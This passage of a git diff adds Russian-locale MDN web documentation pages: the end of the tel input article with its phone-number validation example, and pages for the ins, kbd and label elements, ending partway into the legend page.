+  padding-left: 5px;
+  color: #8b0000;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+  color: #009000;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Pattern_validation", 700, 70)}}</p>
+
+<p>Notice how the entered value is reported as invalid unless the pattern xxx-xxx-xxxx is matched; for instance, 41-323-421 won't be accepted. Neither will 800-MDN-ROCKS. However, 865-555-6502 will be accepted. This particular pattern is obviously only useful for certain locales — in a real application you'd probably have to vary the pattern used depending on the locale of the user.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In this example, we present a simple interface with a {{htmlelement("select")}} element that lets the user choose which country they're in, and a set of <code>&lt;input type="tel"&gt;</code> elements to let them enter each part of their phone number; there is no reason why you can't have multiple <code>tel</code> inputs.</p>
+
+<p>Each input has a {{htmlattrxref("placeholder","input")}} attribute to show a hint to sighted users about what to enter into it, a {{htmlattrxref("pattern","input")}} to enforce a specific number of characters for the desired section, and an <code>aria-label</code> attribute to contain a hint to be read out to screenreader users about what to enter into it.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="country"&gt;Choose your country:&lt;/label&gt;
+    &lt;select id="country" name="country"&gt;
+      &lt;option&gt;UK&lt;/option&gt;
+      &lt;option selected&gt;US&lt;/option&gt;
+      &lt;option&gt;Germany&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;p&gt;Enter your telephone number: &lt;/p&gt;
+    &lt;span class="areaDiv"&gt;
+      &lt;input id="areaNo" name="areaNo" type="tel" required
+             placeholder="Area code" pattern="[0-9]{3}"
+             aria-label="Area code"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/span&gt;
+    &lt;span class="number1Div"&gt;
+      &lt;input id="number1" name="number1" type="tel" required
+             placeholder="First part" pattern="[0-9]{3}"
+             aria-label="First part of number"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/span&gt;
+    &lt;span class="number2Div"&gt;
+      &lt;input id="number2" name="number2" type="tel" required
+             placeholder="Second part" pattern="[0-9]{4}"
+             aria-label="Second part of number"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>The JavaScript is relatively simple — it contains an {{domxref("GlobalEventHandlers.onchange", "onchange")}} event handler that, when the <code>&lt;select&gt;</code> value is changed, updates the <code>&lt;input&gt;</code> element's <code>pattern</code>, <code>placeholder</code>, and <code>aria-label</code> to suit the format of telephone numbers in that country/territory.</p>
+
+<pre class="brush: js">var selectElem = document.querySelector("select");
+var inputElems = document.querySelectorAll("input");
+
+selectElem.onchange = function() {
+  for(var i = 0; i &lt; inputElems.length; i++) {
+    inputElems[i].value = "";
+  }
+
+  if(selectElem.value === "US") {
+    inputElems[2].parentNode.style.display = "inline";
+
+    inputElems[0].placeholder = "Area code";
+    inputElems[0].pattern = "[0-9]{3}";
+
+    inputElems[1].placeholder = "First part";
+    inputElems[1].pattern = "[0-9]{3}";
+    inputElems[1].setAttribute("aria-label","First part of number");
+
+    inputElems[2].placeholder = "Second part";
+    inputElems[2].pattern = "[0-9]{4}";
+    inputElems[2].setAttribute("aria-label","Second part of number");
+  } else if(selectElem.value === "UK") {
+    inputElems[2].parentNode.style.display = "none";
+
+    inputElems[0].placeholder = "Area code";
+    inputElems[0].pattern = "[0-9]{3,6}";
+
+    inputElems[1].placeholder = "Local number";
+    inputElems[1].pattern = "[0-9]{4,8}";
+    inputElems[1].setAttribute("aria-label","Local number");
+  } else if(selectElem.value === "Germany") {
+    inputElems[2].parentNode.style.display = "inline";
+
+    inputElems[0].placeholder = "Area code";
+    inputElems[0].pattern = "[0-9]{3,5}";
+
+    inputElems[1].placeholder = "First part";
+    inputElems[1].pattern = "[0-9]{2,4}";
+    inputElems[1].setAttribute("aria-label","First part of number");
+
+    inputElems[2].placeholder = "Second part";
+    inputElems[2].pattern = "[0-9]{4}";
+    inputElems[2].setAttribute("aria-label","Second part of number");
+  }
+}</pre>
+
+<p>The example looks like this:</p>
+
+<p>{{EmbedLiveSample('Examples', 600, 140)}}</p>
+
+<p>This is an interesting idea, which goes to show a potential solution to the problem of dealing with international phone numbers. You would have to extend the example of course to provide the correct pattern for potentially every country, which would be a lot of work, and there would still be no foolproof guarantee that the users would enter their numbers correctly.</p>
+
+<p>It makes you wonder if it is worth going to all this trouble on the client-side, when you could just let the user enter their number in whatever format they wanted on the client-side and then validate and sanitize it on the server. But this choice is yours to make.</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+margin-bottom: 10px;
+position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute; content: '✖';
+  padding-left: 5px;
+  color: #8b0000;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+  color: #009000;
+}</pre>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#tel-state-(type=tel)', '&lt;input type="tel"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#tel-state-typetel', '&lt;input type="tel"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-tel")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML forms guide</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/forms">Forms and accessibility</a></li>
+ <li>{{HTMLElement("input")}}
+  <ul>
+   <li><code><a href="/en-US/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code></li>
+   <li><code><a href="/en-US/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/html/element/ins/index.html b/files/ru/web/html/element/ins/index.html
new file mode 100644
index 0000000000..2698c1fbe0
--- /dev/null
+++ b/files/ru/web/html/element/ins/index.html
@@ -0,0 +1,120 @@
+---
+title: <ins>
+slug: Web/HTML/Element/ins
+translation_of: Web/HTML/Element/ins
+---
+<p><strong>Элемент</strong> <strong>HTML <code>&lt;ins&gt;</code> </strong>представляет собой <span id="result_box" lang="ru"><span>диапазон текста</span><span>, который был добавлен</span> <span>в документ</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Содержимое категорий</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Содержимое фраз</a> or <a href="/en-US/docs/HTML/Content_categories#Flow_content">содержимое потока</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимое содержимое</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Transparent_content_model">Прозрачный</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Бездействие тега</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>родители</span></span></th>
+   <td><span id="result_box" lang="ru"><span>Любой элемент</span><span>, который принимает</span></span> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA роли</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс DOM</th>
+   <td>{{domxref("HTMLModElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd><span id="result_box" lang="ru"><span>Этот атрибут</span> <span>определяет</span> <span>URI</span> <span>ресурса</span><span>, который объясняет</span> <span>изменения</span><span>,</span> <span>такие</span> <span>как ссылка на</span> <span>протоколы заседаний</span> <span>или билет</span> <span>в</span> <span>системном</span> <span>поиске и устранении неисправностей</span><span>.</span></span></dd>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd><span id="result_box" lang="ru"><span>Этот атрибут</span> <span>указывает время</span> <span>и дату</span> <span>изменения</span> <span>и должна</span> <span>быть действительной датой</span> <span>с дополнительной</span> <span>строкой</span> <span>времени</span><span>.</span> <span>Если значение</span> <span>не может быть разобрано</span> <span>как дата</span> <span>с</span> <span>опциональной</span> <span>строкой</span> <span>времени</span><span>,</span> <span>элемент не</span> <span>имеет соответствующего</span> <span>штампа времени</span><span>.</span></span></dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;ins&gt;Этот текст подчеркнут.&lt;/ins&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p><u>Этот текст подчеркнут.</u></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ins-element', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'edits.html#the-ins-element', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.4', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("del")}} для помечания удаления в документе.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/kbd/index.html b/files/ru/web/html/element/kbd/index.html
new file mode 100644
index 0000000000..a875abbe96
--- /dev/null
+++ b/files/ru/web/html/element/kbd/index.html
@@ -0,0 +1,197 @@
+---
+title: '<kbd>: Элемент ввода с клавиатуры'
+slug: Web/HTML/Element/kbd
+translation_of: Web/HTML/Element/kbd
+---
+<p><span class="seoSummary"><strong>HTML элемент ввода с клавиатуры</strong> (<strong><code>&lt;kbd&gt;</code></strong>) указывает на то, что текст внутри элемента  описывает пользовательский ввод с клавиатуры, голосовой ввод или ввод с использованием любого другого типа устройств ввода текста.</span> По общему соглашению, {{Glossary("user agent")}} использует моноширный шрифт для отображения содержимого элемента <code>&lt;kbd&gt;</code> по-умолчанию, хотя это и не указывается HTML стандартом явно.</p>
+
+<p><code>&lt;kbd&gt;</code> можно использовать в различных комбинациях с  {{HTMLElement("samp")}} (Sample Output) элементом для отображения различных форм ввода с клавиатуры или ввода, базирующегося на визуальных сигналах.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>Any</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент использует только <a href="/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>Other elements can be used in tandem with <code>&lt;kbd&gt;</code> to represent more specific scenarios:</p>
+
+<ul>
+ <li>Nesting a <code>&lt;kbd&gt;</code> element within another <code>&lt;kbd&gt;</code> element represents an actual key or other unit of input as a portion of a larger input. See {{anch("Representing keystrokes within an input")}} below.</li>
+ <li>Nesting a <code>&lt;kbd&gt;</code> element inside a {{HTMLElement("samp")}} element represents input that has been echoed back to the user by the system. See {{anch("Echoed input")}}, below, for an example.</li>
+ <li>Nesting a <code>&lt;samp&gt;</code> element<em> </em>inside a <code>&lt;kbd&gt;</code> element, on the other hand, represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. See the example under {{anch("Representing onscreen input options")}} below.</li>
+</ul>
+
+<div class="note">
+<p>You can define a custom style to override the browser's default font selection for the <code>&lt;kbd&gt;</code> element, although the user's preferences may potentially override your CSS.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<pre class="brush: html">&lt;p&gt;Use the command &lt;kbd&gt;help mycommand&lt;/kbd&gt; to view documentation
+for the command "mycommand".&lt;/p&gt;
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Basic_example', 350, 80) }}</p>
+
+<h3 id="Representing_keystrokes_within_an_input">Representing keystrokes within an input</h3>
+
+<p>To describe an input comprised of multiple keystrokes, you can nest multiple <code>&lt;kbd&gt;</code> elements, with an outer <code>&lt;kbd&gt;</code> element representing the overall input and each individual keystroke or component of the input enclosed within its own <code>&lt;kbd&gt;</code>.</p>
+
+<h4 id="Unstyled">Unstyled</h4>
+
+<p>First, let's look at what this looks like as just plain HTML.</p>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">&lt;p&gt;You can also create a new document using the keyboard shortcut
+&lt;kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;&lt;/kbd&gt;.&lt;/p&gt;</pre>
+
+<p>This wraps the entire key sequence in an outer <code>&lt;kbd&gt;</code> element, then each individual key within its own, in order to denote the components of the sequence.</p>
+
+<h5 id="Result_2">Result</h5>
+
+<p>The output looks like this without a style sheet applied:</p>
+
+<p>{{EmbedLiveSample("Unstyled", 650, 80)}}</p>
+
+<h4 id="With_custom_styles">With custom styles</h4>
+
+<p>We can make more sense of this by adding some CSS:</p>
+
+<h5 id="CSS">CSS</h5>
+
+<p>We add new new style for <code>&lt;kbd&gt;</code> elements, <code>"key"</code>, which we can apply when rendering keyboard keys:</p>
+
+<pre class="brush: css">kbd.key {
+  border-radius: 3px;
+  padding: 1px 2px 0;
+  border: 1px solid black;
+}</pre>
+
+<h5 id="HTML_2">HTML</h5>
+
+<p>Then we update the HTML to use this class on the keys in the output to be presented:</p>
+
+<pre class="brush: html">&lt;p&gt;You can also create a new document by pressing
+&lt;kbd&gt;&lt;kbd class="key"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="key"&gt;N&lt;/kbd&gt;&lt;/kbd&gt;.&lt;/p&gt;</pre>
+
+<h5 id="Result_3">Result</h5>
+
+<p>The result is just what we want!</p>
+
+<p>{{EmbedLiveSample("With_custom_styles", 650, 80)}}</p>
+
+<h3 id="Echoed_input">Echoed input</h3>
+
+<p>Nesting a <code>&lt;kbd&gt;</code> element inside a {{HTMLElement("samp")}} element represents input that has been echoed back to the user by the system.</p>
+
+<pre class="brush: html">&lt;p&gt;If a syntax error occurs, the tool will output the initial
+command you typed for your review:&lt;/p&gt;
+&lt;blockquote&gt;
+  &lt;samp&gt;&lt;kbd&gt;custom-git ad my-new-file.cpp&lt;/kbd&gt;&lt;/samp&gt;
+&lt;/blockquote&gt;</pre>
+
+<p>The result looks like this:</p>
+
+<p>{{EmbedLiveSample("Echoed_input", 650, 100)}}</p>
+
+<h3 id="Representing_onscreen_input_options">Representing onscreen input options</h3>
+
+<p>Nesting a <code>&lt;samp&gt;</code> element<em> </em>inside a <code>&lt;kbd&gt;</code> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen.</p>
+
+<p>For example, you can explain how to choose the "New Document" option in the "File" menu using HTML that looks like this:</p>
+
+<pre class="brush: html">&lt;p&gt;To create a new file, choose the menu option
+&lt;kbd&gt;&lt;kbd&gt;&lt;samp&gt;File&lt;/samp&gt;&lt;/kbd&gt;⇒&lt;kbd&gt;&lt;samp&gt;New
+Document&lt;/samp&gt;&lt;/kbd&gt;&lt;/kbd&gt;.&lt;/p&gt;
+
+&lt;p&gt;Don't forget to click the &lt;kbd&gt;&lt;samp&gt;OK&lt;/samp&gt;&lt;/kbd&gt; button
+to confirm once you've entered the name of the new file.&lt;/p&gt;</pre>
+
+<p>This does some interesting nesting. For the menu option description, the entire input is enclosed in a <code>&lt;kbd&gt;</code> element. Then, inside that, both the menu and menu item names are  contained within both <code>&lt;kbd&gt;</code> and <code>&lt;samp&gt;</code>, indicating an input which is selected from a screen widget.</p>
+
+<p>Similarly, the representation of the keyboard shortcut is done by enclosing the entire keyboard shortcut text inside <code>&lt;kbd&gt;</code>, but by also wrapping each key in its own <code>&lt;kbd&gt;</code> element.</p>
+
+<p>You don't need to do all this wrapping; you can choose to simplify it by leaving out the external <code>&lt;kbd&gt;</code> element. In other words, simplifying this to just <code>&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;</code> would be perfectly valid.</p>
+
+<p>Depending on your style sheet , though, you may find it useful to do this kind of nesting.</p>
+
+<p>The output from this HTML looks like this:</p>
+
+<p>{{EmbedLiveSample("Representing_onscreen_input_options", 650, 120)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Expanded to include any user input, like voice input and individual keystrokes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.kbd")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{htmlelement("code")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/label/index.html b/files/ru/web/html/element/label/index.html
new file mode 100644
index 0000000000..c98a1deb34
--- /dev/null
+++ b/files/ru/web/html/element/label/index.html
@@ -0,0 +1,175 @@
+---
+title: <label>
+slug: Web/HTML/Element/label
+translation_of: Web/HTML/Element/label
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML элемент <code>&lt;label&gt;</code> </strong>представляет собой подпись к элементу пользовательского интерфейса.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Общий поток</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">текстовый контентt</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Interactive_content">интерактивный контент, элемент формы</a>, ощутимый контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Текстовый контент</a>, но без вложенных элементов <code>label</code>. Недопустимы другие оборачиваемые в <code>label </code>элементы помимо целевого.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные предки</th>
+   <td>Любой элемент, разрешающий <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">текстовый контент.</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA роли</th>
+   <td>Отсутствуют</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLLabelElement")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Тип</th>
+   <td>Строчный</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Элемент поддерживает <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a><a href="/en-US/docs/Web/HTML/Global_attributes"> .</a></p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>
+ <p>ID <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Form_labelable">labelable</a>-элемента, который находится в том же документе, что и элемент <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">label</span></font>. Первый такой элемент в документе, ID которого совпадает со значением атрибута <code>for</code>, становится <em>labeled-</em>контролом<em> </em>для данного <code>label</code>.</p>
+
+ <div class="note">Элемент <em>label </em>может иметь как атрибут <em>for</em>, так и отдельный элемент управления, если атрибут <em>for </em>указывает на содержащийся элемент управления.</div>
+ </dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}} {{obsolete_inline}}</dt>
+ <dd>Элемент формы, с которым связан label (его владелец формы). Если указано, значением атрибута является идентификатор элемента {{HTMLElement ("form")}} в том же документе. Это позволяет размещать элементы label в любом месте документа, а не только как потомки их элементов формы..
+ <div class="note">Этот атрибут содержимого был удален из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.</div>
+ </dd>
+</dl>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<ul>
+ <li>&lt;label&gt; можно связать с элементом управления, поместив элемент управления внутри элемента &lt;label&gt; или используя атрибут {{htmlattrxref ("for")}}. Такой элемент управления называется помеченным элементом управления надписью. Один вход может быть связан с несколькими метками.</li>
+ <li>Метки сами по себе не связаны с формами. Они только косвенно связаны с формами через элементы управления, с которыми они связаны.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_label_example">Simple label example</h3>
+
+<pre class="brush: html notranslate">&lt;label&gt;Click me &lt;input type="text"&gt;&lt;/label&gt;</pre>
+
+<p>{{EmbedLiveSample('Simple_label_example', '200', '50', '')}}</p>
+
+<h3 id="Using_the_for_attribute">Using the "for" attribute</h3>
+
+<pre class="brush: html notranslate">&lt;label for="username"&gt;Click me&lt;/label&gt;
+&lt;input type="text" id="username"&gt;</pre>
+
+<p>{{EmbedLiveSample('Using_the_for_attribute', '200', '50', '')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.9.1', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting with Gecko 8.0 {{geckoRelease("8.0")}}, a bubbling click event triggers at most one <code>&lt;label&gt;</code>, and the synthetic click event cannot trigger additional <code>&lt;label&gt;</code>s. In Gecko, a click event will still bubble up past a <code>&lt;label&gt;</code>, while in WebKit or Internet Explorer the click event will stop at the <code>&lt;label&gt;</code>. The behavior prior to Gecko 8.0 (triggering multiple <code>&lt;label&gt;</code>s) caused Firefox to stop responding (see {{bug(646157)}}).</p>
+
+<p>[2] The HTML specification was updated in April 2016 to deprecate the {{htmlattrxref("form")}} attribute. It's still available from script, but its definition has changed: it now returns the associated control's form, or <code>null</code> if there is no associated control (that is, if {{domxref("HTMLLabelElement.control")}} is <code>null</code>). See {{domxref("HTMLLabelElement.form")}}.</p>
+
+<p>This change is implemented in Firefox 49.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/ru/web/html/element/legend/index.html b/files/ru/web/html/element/legend/index.html
new file mode 100644
index 0000000000..1b9b7eda8e
--- /dev/null
+++ b/files/ru/web/html/element/legend/index.html
@@ -0,0 +1,95 @@
+---
+title: <legend>
+slug: Web/HTML/Element/legend
+tags:
+  - HTML
+  - HTML forms
+  - Web
+  - element legend
+  - legend
+translation_of: Web/HTML/Element/legend
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML-элемент <code>&lt;legend&gt;</code></strong> представляет собой заголовок содержания родительского элемента {{HTMLElement("fieldset")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/tabbed/legend.html", "tabbed-standard")}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td><a href="/ru/docs/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Является дочерним элементом тега {{HTMLElement("fieldset")}} </td>
